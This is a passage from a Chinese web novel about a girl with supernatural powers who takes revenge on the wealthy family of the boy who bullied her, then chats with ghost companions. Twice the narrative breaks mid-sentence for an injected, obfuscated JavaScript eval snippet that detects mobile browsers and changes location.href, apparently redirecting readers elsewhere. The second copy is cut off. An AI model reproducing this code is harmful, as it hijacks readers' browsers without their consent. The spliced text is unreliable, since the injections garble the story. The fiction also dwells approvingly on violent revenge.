要不是孙女身边有个这样靠谱的保姆照顾生活,俩人也不可能放心把孙女留给工作狂的儿子儿媳。 谁知俩人还没靠近呢,便听到别家保姆问张阿姨:“你主家的孩子被人欺负成那样,主家有说法没?要换是我家的孩子,哪怕拼了我和我那口子命,也要闹出个一二三来,有钱怎么了,有权怎么了,咱们普通人的命不是命啊!” 老两口又不聋,脑子也没糊涂。 张阿姨主家还能是谁? 不就是他们儿子儿媳家嘛。 主家的孩子是谁不就更一目了然了! 老两口气坏了,拉着张阿姨追问个明白。 张阿姨也为难,她都觉得自己倒霉。 她不是一个多嘴多舌的人,也不爱和别人聊自己主家的事,爱扯闲话的保姆哪个主家都不会要。 谁知道今天怎么那么倒霉,买完菜回来,正好撞上邻居家的保姆,因为两家离得近,有时候她们会一起结伴去买菜,一来二去能聊上几句话。 申扈市富人圈子说大不大,说小不小,洛宛童遭受霸凌的事情哪怕一开始不知道,现在该知道的也都知道了。主家知道了,住家保姆想不知道也难。 再加上前几天呼啦啦一堆人围在云栖竹境,更是议论纷纷,张阿姨都遇上好几回问她这事的人,她都成心躲着了,还是没躲掉。 最倒霉的是正巧让主家的两老口撞上,她都没处申冤。 她真不是一个爱说闲话的人啊! 但洛爷爷洛奶奶逼问,她能咋办,只能捡着自己知道的事情说一说。 洛宛童说:“爷爷,奶奶,我不让报警不是因为害怕。” “而是因为那群王八蛋我亲自动手了。” 洛爷爷唬一跳,赶紧说:“童童,可不能冲动,为那群王八蛋搭上自己不值得。” 洛宛童:“我又不傻,我报复的手段哪怕报警都抓不到把柄。” 洛奶奶仔细观察一番洛宛童,尤其注意看洛宛童的眼睛,发现这一次见面孙女的眼睛不再是混沌一片,她试探性的问:“童童,你是不是……” 洛爷爷也反应过来,对啊,以前和孙女说话,虽然不到说十句回答不了一句的程度,但肯定没有对答如流。 洛宛童刚要张口,被洛鸣意抢先说道:“对,咱们童童好了。” 洛爷爷洛奶奶对洛鸣意没好脸色,看都不看他一眼,只等着洛宛童说话。 洛鸣意满心苦涩,但还是抢着解释,没办法,他担心洛宛童拿出那套“白痴、短命鬼”理论,别再给老两口吓到。 尤其是老爷子,党员出身,对神神鬼鬼的东西一点不信。 “爸,妈,是这样的,童童被推下楼梯后,不是磕到脑袋了嘛,咱都知道大脑是一个很神奇的地方,所以这一磕给咱童童磕好了,算是不幸中的万幸。” 洛爷爷成不爱听这话,撅回去:“怎么,按你这样说,咱家还得感谢那群王八蛋呗?” 洛鸣意急忙否认:“那怎么可能,我又不是脑子有病。” 洛奶奶毒舌:“你现在的表现和脑子有病差不多!” 洛鸣意委屈闭嘴。 洛宛童说:“其实……” 施凤栖大声喊:“童童!” 洛宛童对上施凤栖恳求的眼神,垂了下眼,转而说道:“嗯,是这样,所以我脑子好了。” 施凤栖和洛鸣意都松口气。 洛奶奶和洛爷爷挺为自家孙女孙女高兴,自家孙女长得太好看,不是老两口护犊子,对自己孙女有滤镜,洛爷爷退休前是老师,洛奶奶退休前是儿童医生,不知道接触过多少男孩女孩,俩人敢说,没有一个长得比他们孙女好看! 本来儿子儿媳长得便好看,孙女更是挑着俩人优点长,小小年纪便长得十分出色,等长大更不得了。 这趟来俩人虽是看望孙女,但未尝不是担心有歹人欺负脑子迟钝的孙女。 儿媳儿子还忙,可能都没有意识这一点。 这个世上漂亮的小姑娘遭受的恶意太多了。 所以来一趟看看,实在不行他俩留下来照顾孙女,退休返聘的事便推了。 结果可好,他俩担心的一点不多余! 孙女好了是喜事,但那群王八蛋不能放过。 洛宛童只好说:“爷爷,奶奶,你放心,我不傻,肯定不可能放过他们。” 没被放过的闫旭王清雅一行人非常有话要说。 自从闫成齐被逮捕后,闫家这个庞然大物便开始摇摇欲坠。 闫家的发家史不清白,最开始发家也不过闫成齐爷爷那辈。而人可能越缺什么越想表现什么,因此闫家有主支分支一说,最开始的分支是闫家当家人的私生子,但可能上梁不正下梁歪,也可能是一脉传承,每一个闫家男人都会搞出私生子。 于是闫家从最开始的五六口人到现在的几十口人。 人这么多,每个人都有小心思,更别说大多数人还不是一个妈,甚至不同爸。 有人压着还能你好我好大家好,但一旦压着的那个人露出弱点,其他闫家人会是第一个下脚踹的人。 每个人都想尽可能夺得最大的利益,根本没有一个人想起来去救闫成齐出来,甚至担心闫成齐判的短,还暗戳戳送上了更多关于闫成齐违法乱纪的证据。 闫家乱成一锅粥,被接出医院的闫旭顾不上耍脾气,只能眼睁睁看着闫家其他人抢夺本属于他的利益。 这时候哪怕他吼破喉咙都没人在意他的想法。 闫晶恨毒了为家里带来灾难的哥哥,“都怪你!要不是因为你,咱家还好好的,咱爸还是董事长,我也不会成为这个怪模样。” “你个祸害,当初爸妈为什么要生你,你为什么不去死!”要不是身体折叠不方便,闫晶恨不得上去撕咬闫旭的肉。 闫旭脸色铁青,他可不是一个好脾气的人,甚至可以说性情乖张,对闫晶骂的话,他杵着拐杖,高高抬起。 王雅琼眼角撇到拐杖消失,深知闫旭脾性的她急忙喊:“小旭,你冷静点,现在不能再出事了。” 一边喊闫旭,一边拽闫晶,示意她少说点。 闫晶愤愤不平的住嘴,闫旭可不是一个好哥哥,往常兄妹俩发生矛盾,闫旭动起手一点不会留情,好似他打的不是自己亲妹妹,而是有深仇大恨的敌人。 以前她打不过还能跑,父母也能拦一拦,而且一般她不太敢惹疯子一样的哥哥,要不是现在的处境太惨,她也不至于情绪失控,尤其她这个样子,连躲都不好躲。 闫晶心中愈发愤恨,恨不得拿把刀捅死闫旭,本来就感情不深,现在更是成仇人。 王雅琼心中又如何不恼恨闫旭。 往常更偏爱儿子,是因为生了闫旭,她的地位才彻底坐稳,而且闫家的一切只有闫旭能继承,她将来的荣华富贵只能指望着闫旭。 可现在,什么都成泡影。 闫家的豺狼虎豹绝对会吞吃殆尽一切。 要不是还有理智拽着她,她早像闫晶似的对闫旭破口大骂了。 可正是有丝丝理智,她才制止俩兄妹相互打架,她拽着闫旭,“闫旭,咱们家现在成这个样子,都是叫洛宛童的小贱人搞的鬼,唯一的办法就是去找她,只要找她,咱们家才能恢复正常。” 听到洛宛童的名字,闫旭眼中闪过狠意,事到如今,要说没有后悔是假的,但在洛宛童去医院接二连三的殴打后,他的后悔变成了当初洛宛童摔下楼梯时直接摔死多好,或者当初直接下狠手送洛宛童去死多好。 闫旭冷声问:“妈,你是要我去求洛宛童吗?” 王雅琼一滞,想点头,但又知道闫旭必定不愿意。 闫晶仗着闫旭看不到,撇嘴,无声的骂骂咧咧。 要是有能力,她恨不得压着闫旭去给洛宛童磕头道歉,只要能还回来她风光无限的闫家千金日子,闫旭多磕几个头又能如何? 真恨,等闫家恢复如常,你再偷偷报复呗。还闫家大少爷呢,一点都不为闫家着想。 洛宛童正巧这时候进来,她穿着一身繁复的黑色玫瑰连衣裙,头发被仔仔细细盘在脑后,形成一个层层叠叠的花苞,露出她饱满的额头,如果有相术出众之人看到她的面相,绝对会感叹:真是绝好的面相啊! 洛宛童穿着的小皮鞋随着她迈步,发出“哒哒”的声音,让客厅的母子三人注意到她。 闫旭大惊失色:“洛宛童,你竟然敢来这?” 王雅琼和闫晶这才知道来人是洛宛童。 母女俩同样吃惊。 要知道现在他们可还住在闫家老宅,虽然因为闫成齐出事,老宅里的佣人心思纷飞,不大听话了,但绝不是一个外人无声无息可以闯入的。 洛宛童身后跟着穿蓝色衣服的小红小绿,她背着手,溜溜达达的在大厅逛,走到哪,哪摆放的东西便往下掉,不论是摆设还是果盘,哪怕是固定在墙上的灯饰都往下掉,摔得稀里哗啦、粉身碎骨。 闫旭看到小红小绿便浑身疼,两个纸人没有灵智,可不懂手下留情,也不会累,洛宛童吩咐他们打多长时间,他们便老老实实揍多长时间。 闫旭身上的青黑至少有一半是他俩打的。 噼里啪啦的声音让王雅琼心慌,她慌乱无措的叫闫旭:“小旭,这是咋了?啥东西摔了?” 闫晶挤到王雅琼身边,明显来者不善,她不想挨打。 闫旭没有管王雅琼,他瞪着洛宛童,恶狠狠的说:“洛宛童你以为这样就能打垮我了吗?别让我抓到机会,要不然我一定不会放过你!” 闫晶大喊:“闫旭你个傻逼!让你认错,你干嘛呢!咱家都成这样了,你放什么狠话!你还想不想让咱爸出来了,你真想当乞丐啊!做人别那么自私。” 洛宛童赞同的点头,“闫旭,你真的应该学学你妹妹,什么叫识时务。” 闫旭冷笑,“我没闫晶那么蠢,现在还看不清情况,咱们明显已经不死不休,你不会放过我,我又何必说软话。” 洛宛童伸出右手,晃晃食指,“万一呢,你先说说看。” 闫晶又想说话,被王雅琼眼疾手快的捂住嘴,她和闫旭一个看法,认为洛宛童不会那么轻易放过他们闫家。 闫旭不张口,洛宛童催促:“说啊,试试看。” 闫旭还是不张口,洛宛童摊手,“看来你的尊严比闫家更重要。” 闫晶用力撕开王雅琼的手,喊道:“不是这样,我替我哥向你道歉。” 反正是替闫旭道歉,管他死不死活不活,闫晶用力回想道歉应该怎么说,忽然想起之前在学校里那些碰坏她衣服、鞋子的小婊子们经常向她道歉。 她灵机一动,说:“都是我哥的错,他……啊!” 闫旭的拐杖飞出,重重砸到闫晶的背上,同时打断闫晶的话。 闫旭脸色铁青,“闫晶你给我闭嘴!” 闫晶如何愿意听,现在家里成这个样子就是因为闫旭,闫旭不仅不反省,还打她,是不是太过分了,“闫旭你个废物,你……” 闫旭大喊:“你给我闭嘴!” 喊完,闫旭的额头的汗都冒了出来,他杵着拐杖的原因之一是他左脚崴了,无法落地,刚刚用力大声喊,一不小心脚用了力。 洛宛童非常满意眼前看到兄妹反目的戏码,她鼓鼓掌,“这出戏非常好,我看的很满意,不过没有赏金。” 闫旭咬牙,现在的他好似浑身被剥离的一干二净被人扔到大街上,周围人指指点点、议论纷纷,什么尊严、脸面统统丧失,偏偏他无法堵住每一张嘴巴。 是的,无能为力便是他唯一的想法。 “疼吧?”打量着闫旭仍旧看不清五官的脸,洛宛童状若好奇的问。 鼻青脸肿,淤青摞淤青,王雅琼但凡能看到闫旭的脸,都不敢认这是自己儿子。 闫旭没有回答,他肯定洛宛童问的这个问题没安好心。 洛宛童当然不是在关心闫旭,“疼就对了,我这个人非常记仇,还小心眼,一日不报仇,睡觉都睡不踏实,谁伤我一根毫毛,我能让对方成光头!” “瞅瞅你现在这幅丧家之犬的模样,啧啧。”洛宛童走近几步,“好人呢都有个毛病,遇到欺负了会先内耗,反思自己是不是哪里不对,是不是做错了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272279|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,从没有想过,有没有一种可能,他们根本没错,有问题的是那些欺负他们的人。” “幸好我不是好人,我从不内耗,我如果有一天反思,只会反思一个问题:是不是让敌人死的太痛快了?我太直爽,心里不能装事,一旦装事,就睡不好觉,睡不好觉就会脾气不好,脾气不好耽误正事,那为了避免引发这么多的连锁效应,我不会让自己有反思的机会。” 洛宛童看出闫旭的迷惑,笑着说:“是不是不明白我说这么一长串的意义?” 她“唰”的冷下脸,“意义就是做我的敌人,要有求生不能、求死不成的准备!” “你虽然还不配成为我的敌人,但希望你能多坚持一段时间。” 闫旭崩溃的吼:“你到底还想怎样?” 洛宛童冷笑:“闫旭,当初你凭着自己家世欺负别人,就该想到有一天你失去家世,任人报复。” 洛宛童摆手,一直未动的小红小绿灵敏的开始行动,闫旭瞳孔紧缩,但他一只脚不好,跑都没办法跑。 接下来是长达一个小时的殴打,王雅琼听着闫旭的惨叫,喊道:“洛同学,洛同学,我家小旭知道错了,你放过他吧,打人不对,万一我家要是报警,你不就得进去了嘛,咱们各退一步,行不行?” 闫晶瑟瑟发抖,生怕洛宛童打闫旭一个不过瘾,再给她暴打一顿,王雅琼求情,她生怕被连累,几个翻滚到沙发的另一边,缩成一团,极力减小自己存在感。 洛宛童丝毫不在意王雅琼的威胁,报警便报呗,又不是她打的人,有本事把纸人抓走。 闫旭会看刑法书,她也会看好吧,合理规避风险,保全自己合法权益是每一个公民的权利。 一直听着哀嚎声没什么意思,再加上一会儿要到的人,洛宛童往门口走去,在临走出时,她回头,看了看闫家富丽堂皇的客厅,转身的下一秒,闫家的客厅里所有家具、装饰、灯饰、装饰品统统爆开。 尤其是顶上的灯,爆开的碎片划得闫晶和王雅琼遍体鳞伤,王雅琼要更严重一些,明明闫晶在灯下。 等爆炸声停止,闫家的客厅像手榴弹炸过一样,整个一个战场遗骸,没有一个幸存的完整物品。 闫晶在听到第一声爆声时便急忙护住自己的脸,身上的划痕涓涓流血,闫晶连骂洛宛童的勇气都没有,所有的怒火只能冲着闫旭去,恨声大喊:“打的用力点啊,还能叫这么大声,一听就没事。” 王雅琼捂住嘴,无声哭泣。 造孽啊,真是造孽啊! 在洛宛童离开的半小时后,闫家佣人带着两个人进来,看到客厅的惨状,佣人尖叫一声,连踏进去看看的勇气都没有,转身迅速跑开。 废话,都说闫成齐一家是遭人诅咒才成这样,要不人前一天好好,第二天咋成折叠人了? 诅咒的说法在佣人间甚嚣尘上,很多人都将信将疑,大多数人都认为是闫成齐一家有传染病,但现在客厅成这样,他们这些佣人又没看到陌生人进出门,总不能说是剩下的三个人因为闫成齐被抓走,精神失常,把屋子砸成战场的吧。 所以不赶紧跑走,等着传染诅咒吗? 宁天华捂住口鼻,灰尘有点大,呛鼻子。 汪连平扇扇灰,探身看了看屋子,一片静谧,不知道里面的人还活着没有。 他踢开桌椅腿,不知道咋飞这么远,小心翼翼的趟进去,看到躺在残破沙发上的王雅琼、闫晶、闫旭三人。 三个人一动不动,吓宁天华一跳,以为三人都没气了,“汪叔,咱报警吧,这死人了。” 闫晶:“你说谁死了呢!” 宁天华一激灵,“你们没死啊。” 闫晶:“你死了,我都不会死,倒是闫旭可能死你前面。” 宁天华都有些感动闫晶闫旭的兄妹情了,妹妹未免太惦记哥哥了吧。 汪连平打量客厅,看不出什么痕迹,动动鼻子,也没闻到硝烟的味道,是个高手。 他好奇的问:“你们客厅怎么成这样了?” 闫晶张嘴便想诉苦,但又想起顶上灯爆的时候,她闭上了嘴巴,不耐烦的说:“我们三个人打架打的行了吧,问问问,问个屁的问,什么忙都帮不上,和你们说再多都是浪费口水。” 宁天华拳头很痒,十分想揍嘴巴欠欠的闫晶,阴阳怪气的说:“现在还有口水可浪费你就庆幸吧,等过几天,你想浪费都没有机会了。” 这一家子明显已经被那个高人盯上,折腾这么多事,他就不信那个高人能放过这一家子的命。 闫晶凶巴巴的骂:“你是不是要吵架,TMD,虎落平阳被犬欺,滚出我家,立刻滚!” 王雅琼也没有心力打圆场,她甚至都没有心思说话,她哭的有些虚脱,现在她满脑子都在想她下半辈子该怎么办? 身体折成这个样子想找个下家都难找,难道她要一直这样了吗? 闫旭则是疼昏过去了。 汪连平笑眯眯:“小妹妹,脾气不要那么大,咱们和气生财。” 闫晶:“和你M,你试试身子被折成这样,你要还保持着好脾气,我服你行吧。” 汪连平说:“小妹妹,这样吧,能不能和我说一下造成你们家现在情况的人?知己知彼,我才能找到解决的办法嘛,说不定还能给你们之间做个和事佬呢。” 闫晶本不想说,但转念一想,眼前的俩人好歹是官方的人,总有几分面子吧? 她便把闫旭和洛宛童的事情原原本本说一遍,时不时夹杂着对闫旭的唾骂,包括他们成现在的样子也是受闫旭连累。 回去路上,宁天华说:“汪叔,咱们现在去找那……哎,汪叔,那个高人叫什么来着?” 汪连平刚想笑话宁天华小小年纪便记性不好,忽然“嘶”一声,坏了,他也想不起来了。 他神情凝重的暂停车子在路边,“小华,这位高人非常不简单,能不贸然打扰便先不要去找。” 宁天华的玄学知识储备还不太丰富,他十分迷惑。 汪连平叮嘱:“这位高人应该是察觉到咱们念叨他的名字了,所以通过手段消除了咱们关于他的记忆,这样的手段我只是听说过,那些玄门世家的家主们都没有这个手段。” “现在保持冷静,不要再想那个高人。” 都能远在千里之外消除他们的记忆,弄坏他们的脑子应该也不成问题吧。 他还年轻,还想退休之后做个有着几万退休金的快乐老头,他的退休金不用别人代替他花。 宁天华优点之一:听话。 汪连平这样说,他便照着做。 一边的高人洛宛童打散面前飘在空中的金符,非常满意汪连平的识趣,转身说:“出来吧。” 趴在窗边的飞白和糊涂蛋这才进来。 经过洛宛童几次的教训,两只鬼牢牢记住未经允许不得擅自飘进屋子。 洛宛童穿着舒适的睡衣,天蓝色,上面还印有白色的小兔子,领子和裤脚带着白色蕾丝花边,是一套非常公主风的睡衣,头发被她用同色的大肠发圈随意扎住,舒服的躺在卧室沙发上,还拽过一边毛茸茸的粉色毛毯,盖住下半身。 捧着手机,随口说:“啥事?” 飞白叉腰,得意地说:“大佬,我找到糊涂蛋的身份了!他叫……” “谢安平。”洛宛童说。 飞白一愣,“大佬你咋知道?” 忽然飞白非常兴奋的说:“哦,我知道了,是不是大佬你算出来的,哇塞,大佬你也太厉害了吧!我对你的钦佩……” 洛宛童举着手机给飞白看,上面是一则社会新闻:谢安平,申交大学生,2024年9月24日因救人溺亡,终年22岁。 配图是一张白底蓝边照片,而照片里的人赫然和倒霉蛋一模一样。 13. 第 13 章 洛宛童收回手机,语重心长的教育:“不是我说你,做鬼不要那么盲目,有时候多看看手机,能得到很多消息。” 终于重新有名字的谢安平怜爱的拍拍飞白的肩膀。 飞白傲娇的一抖,婉拒谢安平的安慰。 再如何他一个鬼差也不需要一个鬼的宽慰,尤其这个鬼还是一个弄丢自己记忆的鬼时。 飞白好奇的说:“这样看来,糊涂蛋是救人死的,那为啥他记忆里最深刻的名字是王尉程啊?连人家生日都记得一清二楚。” “难道……” 飞白大惊失色,一个起跳拉开和谢安平的距离,手颤颤巍巍的指着谢安平,“糊涂蛋,你不会暗恋人家王尉程吧!你说,你是不是喜欢男的!我可警告你,别对我有非分之想,我纯净的身体不容你臆想!” 谢安平满头黑线,大声为自己辩解:“我不喜欢你,不对,我不喜欢男的!我是直男!” 洛宛童好奇的打量两只鬼,飞白圆脸圆眼睛,不仅人长得可爱,性格还十分跳脱,和二十出头的小年轻没什么区别,而谢安平呢,一个词老实。 不是说他长得丑,而是你看到他的第一眼只能注意到这点,老实人的底色便是寡淡,很难给人留下什么深刻印象,更别说让其他人多去观察他。 飞白注意到洛宛童的打量,跳脚大喊:“大佬,你快打住你脑子里的臆想!糊涂蛋他不配和我放一起!太侮辱我的审美了!” 谢安平再次为自己发声:“我对你没兴趣,我也不喜欢男的!” 飞白根本不信,“那你解释一下你为啥记得最清楚的名字是王尉程?自己记忆都丢了,人家的生日都没丢,说你不是暗恋人家,鬼才信!” 谢安平嗫嚅,想否认,又确实无法解释。 飞白好似抓住把柄一样,喊道:“看看,看看,被我说中了吧,理越辩越明,真相已经浮现,你个深柜就承认吧!” 谢安平真想仰天长啸,他真不喜欢男的啊! 洛宛童一针见血的问:“问题来了,飞白你为什么对这些词汇这么清楚?张口就来,反应如此敏捷。” 谢安平眼睛一亮,兴奋的说:“对啊,飞白你这么清楚这些知识,你是不是专门去了解过,为什么会去了解这些知识,老实交代,你是不是喜欢男的?” 飞白梗着脖子说:“那……那……还不是因为我上网了!网络多发达啊,多刷点视频,什么都能知道。” 谢安平不信,谢安平断定飞白在说谎,但洛宛童已经没兴趣搞明白两只鬼到底喜不喜欢男的,她下定论:“好了好了,你们两个都喜欢男的行了吧。” 飞白和谢安平不服气,但面对洛宛童的拳头,觉得也不是非辩论不可,人家一个女孩子,让让人家怎么了? 是能丢金子还是能丢银子,还是能减功德……呸,不能减功德!总之他们两个大男鬼,有些事该让步就得让步,要有气量! 反正绝对不是洛宛童打人非常疼,绝对不是! 飞白摸着下巴,“糊涂蛋是因为救人死了,倒是能理解为啥他能脱离水域。” 水鬼有溺死鬼和水伥鬼之分,溺死鬼也可称水鬼大多不是自己自愿死去的,例如发洪水被淹死、救人被淹死、被人推下水淹死、靠水吃饭不得不涉水却淹死等等。 全都是非出于本心的死亡。 这类鬼可短暂离开水域,离开时间长短既看鬼的能力,也看自身功德。 而且只有在自己溺死那一天才可拉人下水替换己身,平时都是保护人类不溺水。这类鬼因为死的冤枉,故而拉人下水没有冤孽,但投胎前几世肯定还是人生坎坷。 故而大多数水鬼要么选择救人修功德以便离开水投胎,要么等待高人超度。也有一小撮不想投胎,争取让自己变为河伯。 基本水鬼都有一个愿望,成为河伯水神。像河伯冯夷和威济李侯都是他们崇拜向往的目标。 但水伥鬼就不同了,这类鬼大多是自己自愿死去,例如投河自尽、故意去无人监管的湖泊河流游泳不小心被淹死等不注意安全、故意靠近河流致死的行为。 这类鬼无法离开死去的水域,且日日受水冲刷魂体,喉咙干渴难耐周身全是水却不得喝。 他们要想投胎要么高人超度,要么蛊惑人作他们的替身。但一旦这样做自身就背上罪孽,没有几百年赎罪无法投胎,好不容易赎完罪孽,投胎前几世要么任人宰割的畜生,要么是坎坷悲苦人生。 当然水伥鬼也能修功德,但在长年累月的折磨下,很少有保持清醒坚持下去的。大多数的路数都是勾人替换。 洛宛童自然也知道这个区别。 飞白解释完水鬼的分类,说起八卦:“我曾听老一辈说,最开始水鬼其实没有分类,不论怎么死,统统一个待遇,是几千年前有个高人路过一个水域时,发现河里竟然有个水鬼身上有功德,虽然微弱到几乎看不到,但那也是功德。” “高人一时来了兴趣,指尖一点,让那个水鬼暂时脱离水域,问起水鬼的经历,水鬼说她是附近村子的一个妇人,有一次在河边洗衣服,远远看到两个小孩飘过来,她想都没想,丢下衣服去救孩子。” “河流湍急,哪怕她是十里八乡有名的游泳高手,也在费尽全力推两个孩子到岸边时,力竭,再没能爬上岸,就此留在了河底。” “高人问水鬼可曾后悔救人?水鬼说救人的一瞬间没有后悔过,但死的一瞬间有后悔,因为她还有两个孩子,她不能再看着两个孩子长大,又如何不后悔?可在被救的两个孩子的家人们逢年过节祭拜她,并且还承诺照看她的孩子时,悔意淡了几分,在她的两个孩子平平安安长大,她透过水面先后看到两个孩子成婚的花轿后,悔意便彻底消失了。” “高人大笑三声,感叹:大善!大善!于是奏请天地三天三夜,终于征得天地同意对水鬼进行划分,由此有了如今的分类。” 不知何时探进窗户的桂花树枝戳戳洛宛童的肩膀。 他在替你吹牛逼哎! 洛宛童别扭的挠挠下巴,她当初有和王荷花聊那么多吗?再说她哪那么闲和一个水鬼聊天,有功德又如何,功德很稀奇吗?她分分钟便能挣到让她多活三天的功德好吧。 而且她也没奏请天地啊,费那事,不就是和天道提一嘴的事嘛。 她上秒说,下秒天道就给她办了。 谢安平抓住关键词:“意思是不是说我也能修功德啊?我也能当河伯?” 飞白嗤笑,“你啊?就你啊?拜托你有点自知之明好吧,连自己记忆都弄丢的人,你觉得你能修成功啊?” ——————分界线———————— 申扈市松江区,是申扈市高端别墅区聚集地,周围设施齐全,依山傍水,风景优美。在这里的别墅根本不愁卖,九阙云台便是其中一个别墅群。 主打新中式风格,里面每一座别墅都有专属自己的名字,洛宛童家便在这里,叫云栖竹境,顾名思义便是以竹子为主题。 别墅后方的花园里种植了一片竹林,层层叠叠的中央摆着石桌,在竹子葱荣繁茂时,坐在竹下休憩,听着风略过竹稍发出的沙沙声。 “颇有文人雅士之风。” 洛宛童仰躺在躺椅上,阳光穿梭于竹叶之间,掉落于洛宛童的脸上,形成斑驳光影,此情此景倒是闲适,但她摇头感叹,可惜啊,她天生不是做文人雅士的料。 她坐起身,石桌上摆着一个果盆,里面错落有致摆放着切好的水果,果盆一侧放着不足手掌长度的叉子。 这个果盆是张阿姨临走前给洛宛童放的。 张阿姨是住家保姆,本来她很纠结自己该如何说请假的事,毕竟主家有一个还在上学的孩子,父母常年不着家,她要是走了,孩子怎么吃饭? 但洛宛童很痛快的允了,让张阿姨不必着急,忙完事再回来,她这边不用担心。 亲人离世,是需要有一个好好告别的时间。 于是中午饭洛宛童便得自己想办法解决了。 不过正好,躺太久人会废,正好出门溜达溜达,顺便啊,认认路。 认一认那位对她十分“惦记”的好朋友的家在哪。 你拜访我爹妈,礼尚往来,我也得认识认识你父母不是。 洛宛童拿起叉子,随手飞出,便削掉一段竹节,她上前捡起,摸着整齐平整、无痕无刮的竹子,很满意。 多好的材料啊,甚至还有前上司残留的味儿。 端上果盆,洛宛童返回屋子。 竹林里被削掉一节的竹子弯腰,探头探脑的看向洛宛童离开的方向,正巧轻风吹来,别的竹子都在沙沙作响,唯有它,响声微弱。 半晌后,竹子直起,似乎一切如常。 * 羲和科技 “洛总,消防和税务的人已经走了。”洛鸣意的助理梁瑞意在送走人后,立即回办公室向洛鸣意汇报。 洛鸣意从手机中抬起头,摘下眼镜,轻柔眼间,盯手机太久,眼睛便酸乏疲惫。 梁瑞意做了洛鸣意五六年的助理,一毕业就跟着洛鸣意干,在羲和科技,他是铁板钉钉的洛鸣意心腹。 梁瑞意奇怪,“洛总,这一次消防和税务的人怎么忽然来咱这?” 是哪方人给他们使得绊子。 要知道他们羲和科技虽然在申扈市算不上力压一众公司的大型集团,但因为他们主营方向和手里的技术,很得政府看好。 人工智能可是未来的发展方向,他们公司明眼人都看得出来是优质产业,将来未必不会成为庞然大物。 对政府来说,手下有一个跟着国家政策走的优良企业,可是政绩。 再加上他们公司又不是在政府里没人,怎么会忽然来人查。 洛鸣意眼中闪过冷意,他早在查到带头霸凌童童的人是谁家孩子时,便有了心理准备。 闫家。 是个不小的势力,就是家风不好,走不长久。 洛宛童也这样觉得。 闫家是单独的宅子,在云雾山上。 云雾山是申扈市唯一一座自然山林胜地,分三部分,中西东,中西对外开放,唯有东部禁止外人进入。中部是天文观测点,顶端是天文博物馆,西部是著名游者徐弘祖万里之行的起步点,此处盛产的竹笋因独具兰花幽香,被人雅称兰笋。 在松江区有这么一句话,“近一寸云雾山,高一层玉台阶。” 这个玉也是金玉的玉。 而闫家的宅子,不仅在云雾山,还在云雾山不开放的东部。 洛宛童站在门口都望不见里面的房屋,大门口还坐着两座石狮子,雄狮踏球,雌狮抚幼,神形兼备,灵气毕现。 她上前摸了摸两只石狮,安抚的说:“两位坐这平白染晦气,扰了清净,也坏了功德,今日我便助两位解脱。” 说着手起势,夹着雕刻过的竹符抹过两只狮子的眼睛,意为暂闭双目,这样不论洛宛童对它们看护的主家做了什么,都不算它们失职。 佛家为啥有半闭微睁眼睛的菩萨?还不是因为有不想看到的事情,所以才闭了眼睛嘛。睁一只眼闭一只眼,你给我行方便,我不让你为难,都是人情世故。① 走完流程,洛宛童再掏出几片竹符,想了想,她放了回去,换成黄符。 接着便开始掐指算方位,最后一共四十九枚黄符,都被埋在闫家周围。 埋完后,洛宛童正好走回两只石狮身边,她埋的符会结成复合风水阵,作用嘛自然是为了让闫家找回本心,高高在上太久,会失了人性。 如何找回? 回到最初便能找回。 还差最后一步。 洛宛童拍拍雌狮身边的幼狮,旋即飞出一道透明的小狮子身影,它欢快的绕着洛宛童飞舞几圈,甚至还凑到洛宛童的脸侧蹭了蹭。 洛宛童眼睛微弯,笑着说:“好了,带上你父母一起走吧。” 小狮子站定,头部高高仰起,四肢撑开,身体前倾,张大嘴巴露出尖利的牙齿,一声稚嫩却已具备王霸之气的吼声响起。 吼完,小狮子炯炯有神的大眼睛看向洛宛童,洛宛童再度摆了摆手。 小狮子这才依次飞向两座大石狮,飞过一座便有一只成年狮子的身影飘出,最后一家三口齐聚,绕尾打闹,缠绵不尽。 待三只狮子都飞出,本望而生威的闫家宅子忽然阴森起来,刁朽之味扑面而来。 洛宛童看看天色,已是夕阳西下之景,鎏金琥珀,赤炎余烬,归巢飞鸟略过云絮。 明天又是一个好天气。 这样的好日子,闫家看一眼就少一眼了。 洛宛童转身,在走出三步后,刚刚缠绵交流感情的一家三口飞到洛宛童身前,落在地上,齐齐低头曲肢,跪地一拜。 洛宛童停住脚步,看着一家三口,“你我两不相欠,不必拜我。” 说完,绕过一家三口,径直离去。 留在原地的一家三口却没有起身,直至最后余晖被大地吞没,如小狮子刚刚的身形动作一样,两只大狮子同样仰天一啸,这一声是真正的王霸怒吼。 吼完郁气,一家三口头也不回的飞向天边消失不见。 * 申扈市中心医院,ICU病房。 飞白掏出透明屏幕的手机,看看时间,21:40,还有的等。 王尉程小声问飞白:“飞白大人,这手机叫啥牌子啊?是咱地府通用的吗?” 他昨天看到就想问了,看着好高级好炫酷,比阳间用的手机看着高端多了。 飞白得意的摇摇手机,炫耀说:“这是小冥通,地府鬼手一个,你没有这个,别的鬼都不稀得和你玩,我这还是最新款。” 最关键的是他这个是路运给的,不花钱。 不花钱啊! 说着,飞白问:“你是不是还没去地府看过呢?” 王尉程瑟缩的摇头,他不敢去,他怕去了就回不来了。 飞白点头,“我觉得也是。” 飞白也不问为啥王尉程不去地府,这样的鬼他见多了,无非是有自己的执念,各有各的理由。 两个人在这边百无聊赖的等着,那边病床前,张有枝的家人都围在床边。 他们都是昨天张有枝清醒后,医生打电话通知过来的,本来气息微弱的病人忽然清醒,且神志清晰,吐字清楚。 这不是神迹。 医生在检查完张有枝的身体后更加确认不是奇迹。 张玉梅坐在最跟前,说:“大姐,等你好了,咱们姐妹俩一起去看看升旗,咱也打扮打扮,学年轻小姑娘多拍点好看的照。” 张有枝嘴角含笑,伸出皱巴巴的手,粗糙且伤痕累累,这样的手摸人脸时带着轻微刺痛感,但张玉梅却紧紧捂住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 